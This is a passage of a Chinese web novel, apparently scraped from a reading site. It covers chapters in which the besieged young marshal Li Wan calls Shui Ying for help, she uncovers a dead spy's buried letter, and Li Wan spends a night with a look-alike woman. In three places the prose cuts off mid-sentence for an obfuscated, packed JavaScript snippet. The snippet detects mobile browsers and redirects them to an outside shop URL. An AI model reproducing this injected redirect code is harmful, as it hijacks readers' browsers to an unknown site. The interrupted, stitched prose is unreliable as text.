毕竟她什么都决定不了,只能等待最后的结果。 战争就像一台无情的机器,将一个又一个人卷入其中,有无辜的,也有不无辜的,最后全都会被这台机器压得粉碎。 李皖,不,水影还是想叫他李为乐,一开始只是一个热血单纯的青年,可是命运却将他推入了其中,在皖城时,水影曾经幻想过,他可以停止这一切,哪怕是减弱一些身上的戾气也好,可随着他杀的人越来越多,眼神也变得越来越浑浊,越来越犀利,最后与以前的青年人判若两人。 无论怎样,水影还是希望,他不要被战争这个旋涡给吞噬。 月光照了下来,洒在了水影洁白的面庞上,也洒向了千里之外的皖城。 110. 战争机器 皖城。 战斗已经进行了两天,李皖也已经两天没有合眼了。 敌人来势汹汹,一开始直奔皖城而去,李皖带一队士兵出城迎敌,谁知中了对方的计谋,原来对方听说李寻山重病,一开始就是奔着李皖而去的,如果活捉了李皖,李寻山一定会投降,李皖带着大队人马被困在皖城旁边的亳州。 敌人将他们包围起来,想要困死他们,李皖的军队退到了一所旧院落里,他的脸上和手臂都挂了彩,伤痛倒是其次,食物、水和药品越来越少了,亳州城里人心惶惶,作为将领的李皖寝食难安。 真正掌兵后,才明白父亲以前有多么不易,自己原来竟一直生活在父亲为他营造的乌托邦里,直到现在才不得不面对现实。 数月前,他还是雄姿英发,志气满满——喜欢的女子在身边,挂念的亲人也在身边,大权在握,锦衣玉食,真是风光无限,可如今却困守孤城之内,如同走兽一般,实在是狼狈。 上天好像跟他开了一个巨大的玩笑,那个时候,他以为上天垂怜,自己得到了所有想要的,可是如今看来,只是上天短暂地给了他一点甜头,再一件一件地收回…… 得到过再失去,甚至比从未得到过更加残忍。 从未得到过,起码还有个念想,可以骗骗自己,那些没什么好的,就算得到也就那样,可是得到过,感受过那些荣耀与温情,感受过那些最美好的东西,霎那间失去,才是让人锥心刺骨。 难道是自己杀业太重,所以上天才要全部收回? 他望向了自己的手掌,明明洗过了手,却觉得怎么都洗不干净一样,留着一股血腥味,难以褪去。 副官端来一碗白粥,面露难色道:“少帅,吃点东西吧,我知道这些东西实在是难以下咽,和您在皖城里吃的相比肯定差远了,可是,请您无论如何都要将就一下,人是铁饭是钢啊,只有活着,才有希望。” 李皖舔了舔干的起皮的嘴唇,目光落到了瓷碗边沿上,那里不知何时被磕破了,有个缺口,好像随时都会裂开。 副官赶忙将缺口转了过来,对着自己,而不是少帅。 李皖也没在意,接过碗,一饮而尽。 白粥很稀,像水一样,他都只能吃这样的食物,手下的士兵就更加难捱了,更何况城中的百姓。 不知怎的,李皖觉得自己过不了这一关了,在他死前,如果能为百姓做点什么,也是极好的。 “如果投降,他们会怎么对待这里的老百姓?”李皖突然问。 副官一愣,好像魂魄离体一般,他怎么都没想到,会在少帅嘴里听到“投降”二字。 “我不知道……敌人一向凶残,没有宽和的美名,这里又一直是皖军的地盘,敌人必定是害怕城里有皖军的奸细,他们一向秉着‘宁肯错杀三千,不要放过一个’的理念,到时候城中恐怕会掀起腥风血雨。” “也就是说,不成功便成仁。”李皖像是对副官说,又像是对自己说。 今晚的月色很好,皎洁明亮,可是这样好的月色,他还能看几时呢? 副官有些犹豫,却还是鼓起勇气,道:“我思前想后,有一计谋,不知道少帅认为可行否?” “说来听听。”李皖淡淡道,既然已经陷入了最坏的境地,再坏又能坏到什么地步呢? “他们的目标是少帅,我愿意扮成少帅,趁着月黑风高,带十几人杀出城外,当做靶子,到时候敌军一定会追击我们,少帅大可以趁乱逃出城去,等到了皖城咱们自己的大本营,再集合兵力,反攻过来。” “可是那样,你会死的。”李皖握紧了拳头,一路上,他已经看过了太多士兵牺牲性命,只为了保全他活着。 副官正襟道:“为少帅而死,死得其所!” “可是城中的百姓呢?就这样对他们不管不顾了吗?” “少帅,如今是危急时刻,只能顾得了大节,顾不上小节了啊。”副官劝说道。 “小节?难道城中三万百姓对你来说就是小节吗?” “三思啊少帅,乱世之中,比的就是谁更心狠,谁更豁得出去,百姓的生命固然重要,可是少帅才是我们的主心骨,属下不能拿少帅的性命冒险!” 李皖背着手,说:“敌人如今兵力有多少?” “大概一万人,我军一千人,他们兵力十倍于我军。”虽然不想长他人志气灭自己威风,可副官还是不得不承认道。 “硬攻不行,那么智取呢?从古到今,也不是没有以少胜多的先例。” “以少胜多何其难?我脑中只浮现出三场战役,第一场便是刘秀与王莽之战,那时天上陨石坠落,众人皆以为刘秀为天选之子,上天都在帮他,汉军士气大振,尽数歼敌,也就是凭借此,刘秀建立了东汉。再往后,便是赫赫有名的赤壁之战,周瑜火攻曹操军队,可那也是借助了东风,若没有天时地利人和,怎么能够成功?最后,就是淝水之战,苻坚号称前秦天王,大军压境,想一举击破东晋,统一全国,可是最后东晋出其不意,让苻坚军队措手不及,发生踩踏,白白失去了机会……可故事毕竟是故事,上天站在哪一边实在不好说,少帅真要一试吗?” “尽力一试也比困守孤城要好,若是试都不试就投降,也太窝囊了吧。”李皖的脊背挺得笔直,月光照在他的侧脸上,勾勒出坚毅的神情。 “如果少帅决意如此,属下一定会殚精竭虑,为少帅保驾护航,哪怕赔上我这条性命。” “好。”李皖拍拍他的肩膀,“城中的粮食还能顶多少天?” “不到十天。” 李皖眉头不由得皱了起来,才十天,也就是说,十天之内,他要想到解围的方法,并且成功实施。历史上,如果弹尽粮绝,城里一定会陷入混乱,甚至发生人相食的惨剧,如果真到了那一步,和地狱又有什么区别? 现在,他急需一点好运气,哪怕一点,就能够让他静下心来想办法。 目光落到了腰间的口袋,李皖似乎在寻找什么,眼中有些焦急。 “少帅在找什么?” “平安符……你看到我的平安符了吗?”李皖喃喃道,有些失神。 “哦在柜子里!”副官从床头的柜子拿出,这平安符已经沾满了血迹还有泥土,几天前,敌人炸药爆炸,李皖陷入昏迷,副官从枪林弹雨中将他背了回来,那个时候,平安符掉到了地上,副官知道这对他很重要,便收了起来,没想到少帅现在居然想起来要拿。 李皖握住平安符,闭上眼睛,自己必须要振作起来,哪怕强撑着,也要振作起来。 突然问副官:“这里,能打通电话到上海吗?” 副官不知他什么意思,抓了抓脑袋,说:“也许可以,城里有一部电话,是督军以前为了方便联系装上的,只是好久没用了,信号可能连不上,要试一试才知道。” “帮我…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13157331|122837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打一通电话。”李皖说,声音很轻,却很坚定。 …… 水影在书桌边研究证据,刚洗了澡,头发还湿漉漉的,如今她的床头堆满了照片,实在是凌乱。 已经快凌晨了,水影叹了口气,时间实在过得太快了,好像一溜烟就从指缝里划过去了,夜晚总是让人升起惆怅,平白无故的,像茶水里冒出的热气,渐渐消散于空气中。 刚准备眯一会儿,一阵刺耳的电话声响起。 这么晚了,是谁找她? 水影以为是警务处发现了新的证据或者有什么重要通知,连拖鞋都没穿,就赤着脚下楼接了电话。 杂音很重,水影说了声“喂”,对面却没有声音。 “你好……”水影又说,电话那边还是没有声音,她拍了拍听筒,心想:不会是骚扰电话吧。 有些奇怪,却听到了对面的呼吸声。 水影好像预感到了什么,不由得紧张起来,想要挂电话,对面却说:“是我。” 短短两个字,水影的心脏突然就被提了起来。 “那日过后,我们已经没有任何关系了吧。”水影冷冷道,“李皖,不要再来找我,我们就当对方已经死了吧。” “可是我……也许真的快死了。”他感受到了她的冷漠,机械地说。 “大晚上的,开什么玩笑?”水影皱眉,却感到他的语气很郑重,好像没有说谎。 “我在亳州被围,几乎弹尽粮绝,早已经离死不远了,可是,我不想投降,还想为了城中百姓试一试。” 水影沉默了,语气缓和了一些,“如果你真的为了城中百姓着想,那么,我希望你活下去。” “我答应你。”他说,这时,电话里杂音很大,几乎听不到对面的声音,过了好一会儿才又连上。 “听得见吗?”电话里再度传来李皖的声音。 水影连忙说:“我对军事并不懂,可我知道,亳州是个古城,城中古迹颇多,你们可以多多与当地百姓沟通,好好运用地理优势。” “谢谢你。” “不必谢我,你如果真的为了百姓,也算是和我的理想殊途同归了。” “如果这一次我死了,我希望你不要再怪我,当时的事,就当我头脑发热,迷了心窍吧。我忽然有些庆幸,庆幸你到底没跟了我,否则才刚成婚就成了寡妇,那就太对你不起了……” 水影本想说“你在说什么胡话”,可是一句老话突然蹦到了脑中——“人之将死其言也善”。 可是,李皖真的快死了吗…… “别说了,我希望你活着,我等着你当面给我道歉……” 电话那头传来忙音,再也连不上了。 刚才的电话,好像只是一场梦。 水影不知道他是否听见了最后一句话,可是听见与没听见又有什么区别?如果他死了,往事一笔勾销,世界上再也不会有这么个人存在了,一想到此,心中竟有些酸涩,只觉得世间风云变幻,实在是非人力所能控制。 阿凝见水影赤脚站在电话边,好像在发呆,手里还拿着电话,可电话已经忙音了许久,便拿了棉拖鞋过来,又给她披上了毯子。 “小姐,怎么了?是有什么事情吗?” “没……没什么。”水影这才回过神来,穿上了拖鞋。 竟有些睡不着了,水影坐在书桌边,强迫自己忘记刚才的电话,重新来看卷宗。 111. 浮出水面 水影将扇子铺开,对着灯细细地琢磨,除了那两处标记外,扇子上画着几簇梅花,远处还有一叶扁舟,可是风浪很大,这小舟在海中几乎被风浪淹没。 扇子上还提了一句诗:“欲穷千里目,更上一层楼。”是唐朝大诗人王之涣的名句。水影觉得突兀,诗句明明描写的是登高望远的景象,与梅花扁舟有什么关系?单从艺术造诣的角度来说,这诗句题在上面着实不应景,肯定还有什么别的含义。 阿凝叹了口气,只觉得自家小姐也太用功了,简直就钻到了案子里去,这样下去身体怎么得了?便给她煮了一碗银耳莲子羹。 “小姐,喝碗甜汤再看吧,休息一下,小心熬坏了眼睛。” “谢谢。”水影对阿凝微笑了一下,“太晚了,你不用在旁边陪我,赶快去睡觉吧。” “我不困,阿凝喜欢陪着小姐,心里踏实。”她顿了顿,试探着说:“刚才的电话……是李皖少帅吗?” “你怎么知道?”水影停下翻案卷的手指,抬头问。 “小姐刚才在电话里提到了亳州,我虽然没去过那里,可也知道,那是皖城附近,如今在那里的人,除了他还能是谁?” 水影垂下眸子,掩下了眼底的情绪。 “可他明明都对我们那么坏了,小姐为什么还要替他出谋划策?上一次,炎督查可是差点死在他的枪下了,我现在想来还是后怕。”阿凝捂着胸口说,她心里可对李皖没什么好印象,不过仗着自己是少帅,身份尊贵,就欺侮别人,还强迫水小姐嫁给他,世上哪有这种道理?大清早亡了,连她一个小丫头都知道,自由恋爱才是潮流。第一次见到李皖,阿凝觉得他不过是个憨厚耿直的小巡捕,可是后来,却像变了一个人,实在是让人害怕。 水影叹了口气,“在皖城之前,我们总归是有交情的,再说这次,他说了是为了城中百姓,我又怎能有不帮之理?” “小姐,你就是太善良了,李皖再怎么样也是督军之子,怎么会和劳苦大众站在一边?阶级不同,利益不同,他是怎么也不能和老百姓感同身受的,恐怕只是说得好听哄人罢了,现在大义凛然的,到时候还指不定怎么折腾百姓呢!” 水影说:“也许是了解之前的他,所以还对以后的他抱有幻想,世间之大,难道真的容不下一个单纯善良的人吗,非要把他们全变成黑心肠才好……” “这也看个人选择吧,有的人选择了黑,有的人选择了白,还有的人选择了灰,无论如何,路是自己走出来的,既然是自己做的选择,就要愿赌服输,如果在一条错误的道路上越走越远,那也怪不了别人。”阿凝抿了抿嘴,又看到水影似乎陷入了沉思,便提醒道:“不说这些丧气话了,小姐,趁热喝吧,冷了对胃不好。” 水影拿起碗,很快地喝了下去,胃里暖洋洋的,人也暖和了不少。记得以前父亲跟她说过,越遇到一团乱麻,越要沉着冷静,把当下过好,把一粥一饭吃好,一步一步来,即使最后没有成功,也一定能不辜负自己,做到力所能及的最好。 月光透着薄如蝉翼的窗帘浸了进来,梧桐树在书桌上洒下了斑驳的影子。 阿凝摇了摇头,“哎,世间之事真是复杂,要是所有人都像这天上的月亮一般纯净就好了,没有尔虞我诈,有的只是赤诚相待。” 天上的月亮…… 水影仰头望去,天上挂着一弯月牙,星辰相伴在其旁,组成了一副星月夜的画卷,又想起那首《白头吟》似乎还有一个地方没有破解——为什么“月”字被圈了两次?一次是指屏风上的月亮,可另一次,却有些让人捉摸不透了。 难道是指真正的月亮? 记忆又回到那一天,水影在早田公馆探查时,好像听过一个保姆说,早田小姐很喜欢站在松树下赏月,水影当时经过那处松树,却忽略了,现在回忆起来,松树的底部好像有泥土松动的痕迹,难道陆菁儿在那里埋了东西? 水影站起身来,只觉得时间不等人,便抓起外套。 “小姐,这么晚了你去哪儿?”阿凝担心道。 “去早田公馆!” 水影有些迫不及待,总觉得越来越靠近谜底了。 …… 一路上都没什么人,不一会就来到了早田公馆。 刚来到门口,便觉得有些怪异,大门虚掩着,里面好像有声响,刚想透过门缝看一看,却被人从后面捂住嘴巴,拖到一边,水影本想反抗,耳边却响起了炎曜的声音。 对水影耳语道:“是我。” “你怎么来了?”水影对炎曜低声道。 “总觉得这个公馆还有蹊跷,便派人盯着此处,今天有警员来报,说有一个黑衣人溜进了公馆内,我便过来看看,却撞见了你。” 居然有黑衣人…… 看来她是来对了,如果抓到了黑衣人,说不定有意外发现。 炎曜看出她心中所想,有些哑然:“也不看看现在几点了,如果遇到危险怎么办?” 水影自信一笑,“我可是会咏春的,还有你给的手枪,才不是什么娇滴滴的小姑娘,有的是力气和手段。” “下次还是要小心,万一对方人多势众可怎么办?与我打个商量,也好随时保护你,” 水影点头,道:“我知你担心我,可是我好像发现了《白头吟》最后的秘密,案子不等人,所以想赶快来验证一下。” 夜色里,水影的眼眸十分明亮,好像天上的星子,让人移不开眼。 炎曜本想再多说几句,可水影的性子他不是不清楚,案子大过天,她是决计不肯耽误时间的,也罢,下次暗中保护就是。便将手枪上好膛,轻声推门而入。 果然有一黑衣人正在房内翻找,如同鬼魅一般,水影一眼就看到了他手中的刀子,炎曜眼疾手快,朝他开了一枪,那人行动迅速,躲避及时,又连开几枪,正中他的手臂。 那人也不恋战,想要从屋檐翻走,却落入了警队的包围圈。 眼看着巡捕们越来越近,那人摆好拼杀的动作,看来是想做最后的挣扎。 突然,远处传来一声哨音,在无边的夜色中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13157332|122837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,像索命勾魂的钩子,十分可怖,那人身形一僵,水影大喊道:“糟糕,他想自杀!” 警员们顿时冲了上去,却见他倒了下去,没了气息。 “那哨声好像是从那边传来的!”水影指了指左后方,可是那边是一处居民区,房子层层叠叠地堆起,百姓们已经睡下,那人恐怕早已经逃远了。 这黑衣人还想挣扎一下,可是吹哨人却发号施令,让他不要反抗,果断了结性命。 经过查验,他身上并没有暗夜组织的衔尾蛇标记,可是刚才他摆好的姿势,却让水影有些奇怪。 “也许是为了掩人耳目,这人手里拿着就是普通的长刀,可是看他刚才的身法,好像是拿武士刀的姿势,这人,很有可能是日本的忍者。”水影皱眉道。 忍者一词出自日本江户时代,后来日本进入德川家族长久统治时期,忍者也渐渐退出了历史舞台,可还是有这么一部分人,进行着类似间谍的工作,水影便用“忍者”来指代他们。 炎曜沉吟了一下,道:“看来暗夜组织的老大和日本人也有关系,又或者,他就是日本人也不无可能。” 来不及多想,水影拉着炎曜来到松树下面,蹲下来开始挖,好一会儿,才从泥土里挖出一个铁盒子,里面有股票的交易信息,正是他们要找的,原来竟被陆菁儿给收了起来。有了这些信息,炎曜的查证会轻松不少,只用着重查明这些交易就好,这个发现将大大减轻他的工作量,缩短时间。还有一封信,是陆菁儿的手书,信上有着斑驳血迹,笔力也很虚浮—— 水影小姐,当你看到这封信的时候,我已经不在了。 也许你会叫我早田清子,可我更想你叫我的本名,陆菁儿。我本是杭州人士,幼时家贫,随母迁到上海,母亲重病离世,我被送往孤儿院,后被早田信收养,成为一名间谍。在早田信的逼迫下,我做了许多错事,可是现在,我不想再错下去了。 早田信曾经一次又一次地告诉我,他收养了我,我便是日本人了,可是当我在得意楼听到那首戏曲时,内心却被深深地触动,我知道,我出生在中国,这里有我的根,而我也与这片土地血脉相连,怎么也割舍不断。 这一次,如果我听从他的鬼话搞垮了恒生银行,将会有许多百姓流离失所,理智与感情皆告诉我,我不能这么做,那么,还不如牺牲我一人,倘若以我一人之性命,能够挫败早田信的阴谋,将事情闹大,陆菁儿便是死也无憾了。 我知道你一直都在找早田信暗夜组织的线索,据我所知,那人常年住在霞飞路五十二号的查理公寓四号房,至于他的名字,我有一个猜测,也许这个猜测有些离谱,所以无法写入信中,便藏于扇子的画中吧。 那日与水小姐初次相见,便觉小姐玲珑剔透与旁人不同,又知您亦在调查暗夜组织之事,便托付于您,希望助您铲除暗夜,还上海滩以太平。 我死后,请将我葬在黄浦江边,若我在天有灵,也将保佑上海滩百姓少受颠沛流离之苦,皆有光辉灿烂之明日。 陆菁儿绝笔。 112. 何必替身 陆菁儿死前,曾经度过了一段纠结而迷茫的日子。 她在杭州出生,父母都是中国人,八岁那年,父亲在白氏集团工厂内做工,却因机器故障,从高处坠下,白氏集团坚持说是他自己操作不规范,闭口不提父亲已经连续工作四十八小时的事实,最后,只给了十块大洋作赔偿。母亲伤心欲绝,竟一病不起,赔偿款很快就花完了,母亲没钱看病,可怜的女孩跪在白氏公馆门口,求他们给母亲治病,却无人理睬,甚至被家丁粗暴地赶走。 那天是除夕,下了一场大雪,陆菁儿差点冻死在公馆门口,远远的,却见珠光宝气的白家大小姐从轿车下来,像是刚参加完宴会,眉梢眼角都带着笑,她的脖子上挂着宝石项链,昂贵不已,是陆菁儿一生都无法奢望的。 家丁们顿时围了上去,有人替她拿披肩,有了替她拿包,陆菁儿觉得,自己就像一堆垃圾,可是她不能忘记这次来的目的,便拼命朝白韵竹爬去,却连她的衣角都抓不住。 为什么同样是人,她的生活如此优渥,锦衣玉食,而陆菁儿却衣衫褴褛,连母亲看病都支付不起呢? 她的心头突然蹦出一个念头,与其说是念头,不如说是妄想——如果她的人生能够体验一天白家大小姐的生活就好了,哪怕只是一天,她就算死了也甘愿。 可是,这只是可怜的妄想罢了。 母亲病死在了除夕的雪夜里,她也被送到了孤儿院,被来自日本的早田信收养。 陆菁儿曾经问过早田信,为什么从一众的孤儿中选中了自己,早田信说,因为他从她的眼中看到了一种不甘,他很欣赏这种感觉。陆菁儿心里知道,早田信只是为了培养一把刀,这不甘如果加上仇恨的引子,就能点燃世间所有东西。 陆菁儿就这样在日本长大了,本以为自己可以忘记儿时的经历,全心全意当一个日本人,可是养父却逼迫她做出一些伤害母国的事情,要她成为一个商业间谍。 再度回到上海滩,只觉得恍如隔世。 她觉得,自己要是再麻木一点就好了,养父说什么她就做什么,不带一丝感情与愧疚,就这样麻木地活着,不是很好? 可是她做不到。 陆菁儿永远无法忘记,自己去得意楼听到的那首京剧,那曲《秦香莲》,让她第一次潸然泪下。 原来在血脉里,她一直都对这片土地怀有很深的感情,哪怕她一次又一次地对自己说,不要在乎这片土地,也不要在乎这片土地上的人民,可是她的心却对她说,她忘不了。血脉相连,是根植于基因里的东西,怎么也无法割舍的。 参与得越多,陆菁儿越发现早田信和暗夜组织的领袖有着说不清的关系,有一次甚至偶然得知了血魔的真实身份。 清子意识到了事情的严重性,越来越清楚地知道,自己不能再为虎作伥了。 可是,她还能回头吗? 自己的所作所为都被养父派来的人在暗中监视,关于血魔的消息,根本不可能传递出去。 那么,就用密码信吧,这是唯一的方法了。 可是谁能帮助她呢?此时,她想到了一个人,那一日,那人曾以自己的聪明才智破解了翡翠白菜被盗之案,陆菁儿也打听到,她一直在追查暗夜组织的下落。 水影,是最合适的人选。 于是,她决定在除夕那日杀死早田信,终结这一切。她约了早田信凌晨十二点半在公馆会面,她有从周润卿那里拍到的最新文件,本想趁早田信不备,用准备好的麻绳勒死他,却被他发现了,争吵中,自己竟被花瓶砸晕了,双手也被绑住。 早田信以为自己杀了人,慌忙整理案发现场,再后来,匆匆离去。 迷迷糊糊中,似乎有另一人来了,取下了她手上的戒指,又离开了。 几个小时后,陆菁儿突然醒了,她头痛欲裂,却强撑着站了起来。 既然杀不死早田信,只能采取第二套方案了,陆菁儿写下了那封绝笔信。她相信以水影的能力,一定能从那封信了解前因后果。她之前将股票交易的盒子埋在松树下,如今,又塞入了一封信。 只有她死了,事情才会闹大。如果以她的死,将嫌疑引到养父身上,让水影他们调查养父,从而挖出他与暗夜组织勾结,也算是用自己的生命给祖国做最后一件事。 陆菁儿关上了门窗,点燃了炉子,只觉得意识越来越迷糊。 耳边突然听到夜莺的鸣叫,原来是窗外有一只夜莺站在松树上,透过窗户,投下了一道影子。 如果有下辈子,她也想成为一只夜莺,自由地歌唱,不被任何人摆布,过自己想要的生活。 *** 水影有些唏嘘,陆菁儿之所以给出一个一个线索,就是想献祭自己的生命,给出暗夜组织领头人的提示。这些线索就像珠子一般,必须串联在一起,才能变成项链,成为一个完整的故事。 也许她不能选择自己的命运,却能选择怎么去死。 炎曜带人去霞飞路公寓搜查,那里已经人去楼空,可他们撤离的太匆忙,还是留下了一些图纸以及□□。 看得出来,暗夜组织的人想干一票大的,只是现在还不得而知。 …… 水影坐上黄包车,往电影院的方向前去,却听见卖报的报童奔走相告:“号外号外,皖军少帅李皖亳州城大胜,收复失地,歼灭敌人一万,重回皖城!” 她嘴唇微张,手上不自觉地松开了手提包, 那一日,李皖又是一夜没睡,第二日便派人向城中老人打探,看有没有什么发现。 谁曾想,竟真被他找到了。 传说东汉末年,曹操在亳州城修建了地下运兵道,纵横交错,绵延八千米,只是年岁日久,这条运兵道便成为了传说,再也没人进去过,有一放牛的老人说他还是孩子时,曾在一粮庄找到了运兵道的入口,通过这条运兵道,可以直通城外。 李皖喜出望外,制定了作战计划—— 大部分兵力藏在运兵道中,打开城门,让敌军进入,误以为他们投降,再派兵力通过运兵道从城外进入,使敌军以为皖军的援兵到了,从而瓮中捉鳖,让他们自乱阵脚。 …… 皖城为了迎接少帅归来,举办了盛大的庆功宴。 李皖似乎很高兴,谁来敬酒都不拒绝,最后喝得晕晕乎乎,像脚踩在了棉花上。由副官的引领下进了房间,房间里躺着一个穿着素白旗袍的女人。 女人美貌动人,眼神勾魂,真是个尤物。值得注意的是,她的脖子上带着一串红珊瑚项链,正是水影之前戴过的那条。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163897|122837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李皖眼眸微眯,缓缓走近了那张床。 女人勾了勾手指,李皖不由自主地来到了床边,覆到了她身上,开始亲吻女人的脸颊,他亲的很仔细,双手捧着她的脸颊,就像捧着什么稀世珍宝。女人开始解他的扣子,却被李皖抓住手,说:“她不会那么主动。” “谁?” 李皖没有回答她的问题,只是吻上了她的嘴唇,这吻越来越升温,就像点燃了一把火,渐渐呈现燎原之势。 女人眼光迷离,小嘴嫣红,谁知,看着她的眼睛,李皖突然嫌恶地皱眉,喃喃道:“不像。” “什么不像?”女人朱唇微启。 “眼睛……不像。”李皖突然说。 女人微怔,像是没搞懂他的意思。这些天副官将她从一众女孩中选出来时,也是说了一句话,“大概有七八分像了。” 李皖突然松了下领带,将领带脱下,缠绕到了女人的眼睛,女人的世界一片黑暗,恐惧与不安让她想抓住什么东西。她感觉自己的耳垂被衔住,李皖正一下一下地咬她的耳朵。 “少帅,我……” “别说话。”李皖一只手指按住了她的嘴唇。 “……”女人乖乖听话,咬了咬嘴唇,脸上红的像是要滴血。 “乖。”李皖抓住她的手,将她的双臂抬高到了头顶。 他像是打开了什么开关,动作突然炽热起来,女人感觉自己旗袍的扣子被解开,大片的清凉让她无所适从,可是她什么也看不见,心里像是被无数的蚂蚁爬过一样。 “影儿,你终于是我的了……”李皖的声音很低,低到像是在做梦。 女人只觉得身体像是要散架了,自己就像漂浮在汪洋大海上的一只小船,仿佛下一个浪花,就能让她粉身碎骨…… 李皖额头涌出细密的汗珠,整个人也越来越清醒,他到底在做什么?即使骗得了所有人,也骗不了自己啊,这分明就是在自欺欺人!简直可悲!一想到此,便停下了动作,仰倒在床上,一把扯下缚住她眼睛的领带,道:“你走吧。” 女人不知他为何突然停下,还没进入正题呢,这男人,不会是绣花枕头,不行吧?她用指尖戳了戳他的袖子,“少帅这是什么意思?难道是我伺候的不周到?” 李皖突然暴怒道:“滚开!” 女人被吓了一跳,慌忙穿上旗袍起身,飞也似地逃离了。 …… 李皖坐在窗边抽烟,窗外不知何时下起了雪花,月光落在了他的肩上。 很久之后,李皖出了门。 副官给他披上了大衣,李皖吩咐他摘下那女人的项链,低声道:“她不配。” 副官依言而行,又看到他孤寂的背影,低声道:“少帅,要不你还是将水小姐抓回来吧,偷也好,抢也罢,将她牢牢拴在你身边,不要这样消耗自己了。” 李皖似是笑了,将烟头按灭,就算人在身边,可她的心却不在自己这里,又有什么意思? 冷冷道:“不用了,失去了就是失去了,我不想她恨我。如果我再违背她的心意,做出对她不利的龌龊事情,我自己都会看不起我自己。” 这时,一个小兵说,有人在门口留下了一封信。 李皖一眼就看到了上面衔尾蛇的标记。 113. 风雪将至 陆菁儿的案子看似结束了,却还留着最大的疑惑没有解开。 血魔,也就是所谓的“那伽王”,到底是何方神圣? 杰克这些天忙得昏天黑地,老大为了查询这些账户,恨不得泡在了警务处,他自然也不能懈怠,终于,他们查到了源头的账户,炎曜看到那个名字,瞳孔不由得变深…… 居然是他,怎么能是他?! 掩人耳目,藏得可真够深的。 这时,有秘书给警务处送来报纸,炎曜拿起报纸,目光却定在了一则寻人启事上。 失踪的孩童名叫董小萧,男,8岁,于1月31日下午17点在大世界剧院附近走丢,至今未找到。 他久久不语,目光一直盯着那报纸,专注地让人害怕,就差把报纸盯出窟窿来了。他的眉头不自觉地微微皱起,有片刻的失神,紧接着又是一片茫然犹疑,最后,似乎终于做了决定。 杰克从未见过炎曜脸上出现过这种神情,空气中满是不寻常的味道,忙问他怎么了,炎曜只是说,没什么重要的,叫他不要多想。 看了眼手表,已经六点,炎曜收了报纸,淡淡道:“今天早点回去休息吧。” “老大,你也要离开吗?” 炎曜点点头,“我去她那里。” 杰克自然知道他口中的“她”是谁,眨了眨蓝色的大眼睛,微笑道:“是该好好陪陪水小姐了,你们都好久没约会了。” 炎曜脸上扯开一抹笑,“是啊,也不知道有没有下次。” 杰克脸上升起疑惑,刚想问他这是什么意思,炎曜却快步往更衣室去了。 杰克耸耸肩,也许老大最近太累了,所以多愁善感吧,于是对自己说,不要想多了。 *** 夕阳西下,炎曜一身黑色夹克,坐在水宅旁边的长椅上,宛如一个雕塑。 听外公说,在英国有这样一个传统,人死之后,会捐献一个长椅,上面刻着人的名字和出生年月日,也许是这个人留在世界上的最后一点印记吧。可是如果他死了呢?也想留下印记吗? 还是算了吧,李白《侠客行》里不是说过吗? “事了拂衣去,深藏身与名”。 他从小的梦想就是当个侠客,除暴安良,也就是因为这个才最终走上了探案的道路。 什么时候,他也有“事了拂衣去”的潇洒就好了。 天空飘起小雪,洋洋洒洒的,路灯一盏一盏地亮起,鹅黄的灯光让人不由得感到安心与温暖。 二楼突然传来一阵悠扬的钢琴声,炎曜抬头望去,水影的侧颜映在窗边,她的琴声很好听,灵动轻盈,配着雪花,给寂静的冬日带来了甜丝丝的气味。 阿凝突然推开门,看到炎曜有些惊讶:“炎督查,你怎么在这儿?等等,我马上就去叫水小姐!” 炎曜本想说不用着急,却最终没有说话,只是点了点头,阿凝便上楼去叫水影了。 钢琴声骤然断了,水影披着外套出门了,她穿了一条真丝的裙子,站在门口,怔怔地望着炎曜。 炎曜怕她冻病了,快步朝她走了过来,关上门,将风雪阻挡在了门外。 水影嘟哝了一声,“来了怎么不上来?奇奇怪怪的?” “之前为了案子,我们见面都开门见山的,听别人说,男人不能这样。” “那应该怎样?”水影眼中含笑,心想这人怎么突然多了些歪理。 “我听老张说,他追求媳妇儿的时候,他媳妇儿每次都要他等三个小时,不光要化妆选衣服,连喷香水都要再三犹豫,非要好好打扮一番才会出门见他,我就想着,以前我都没等过你,以后,只想多等等你。” “你还真是会找罪受呀,那纯纯是浪费时间,我们之间不需要那样的。”水影牵着他的手,笑着拉着他到房间坐下。 炎曜心想,以后,我只希望能为你浪费时间,和你在一起,才不是浪费。 可惜,也许只是奢望了。 其实他很喜欢看她笑,眉眼弯弯的,五官很精致,可是他更喜欢她的灵魂和头脑,仿佛所有困难在她面前都是小事,和她在一起,好像整个世间都轻松了不少。 他努力保持镇定,可是不舍与难受却不断肆虐。 